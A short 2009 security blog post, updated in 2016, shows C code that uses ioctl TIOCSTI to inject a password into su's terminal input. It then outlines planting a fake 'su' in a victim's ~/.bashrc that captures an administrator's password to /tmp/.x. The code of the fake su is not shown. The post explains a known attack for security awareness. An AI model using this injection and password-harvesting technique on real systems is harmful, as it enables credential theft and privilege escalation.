Send password on /bin/su's stdin

Wed, 29 Jul 2009 23:07:00 +0200
Tags: security

Due to security reason, it is forbidden to pipe or redirect strings on standard input of the 'su' command:

$ echo PassW0rd | su -
su: must be run from a terminal
$ su - <<<"Password"
su: must be run from a terminal

A solution is to use ioctl() (sys/ioctl.h) with the TIOCSTI call in argument (TIOC means "Terminal IO Ctl" and STI is for "Stimulate Terminal Input").

$ man ioctl_list
0x00005412  TIOCSTI            const char *

First of all, let's write a program that will print its argument on the terminal input (as it was physically typed on the keyboard device):

#include <sys/ioctl.h>
#include <string.h>
#include <stdio.h>

main(int argc, char *argv[]){

   char c[30];
   int i;

   sprintf(c, "%s\n",argv[1]);
   for(i=0;i<strlen(c);i++) ioctl(0,TIOCSTI,c+i);

After compilation ("cc code_1.c -o code_1"):

$ ./code_1 id
$ id        /* this command wasn't typed */
uid=1000(vladz) gid=1000(vladz) groups=1000(vladz)

Now, let's try this code on the 'su' command:

$ (sleep 1; ./code_1 Passw0rD; ) & su -
[1] 3486
sh-3.1#     /* It worked */

This technique can be used to catch password if someone owns a non-privileged user used by an administrator.

Let say a fake "su" command that:

* captures administrator password;
* stores the password into a file (e.g. /tmp/.x);
* calls the real "/bin/su" command and uses the ioctl() call.

Here is the fake 'su' ( in action (it can be placed into the ~/.bashrc file of the victim account):

victim:~$ cat >> ~/.bashrc
victim:~$ source ~/.bashrc

victim:~$ su -

victim:~$ cat /tmp/.x

Update (2016/01/26): To avoid such attack, we could think that "/bin/su" could be used instead of "su". But the attacker could also create a Bash function called "/bin/su" (thanks to Federico Bento for pointing me this out!).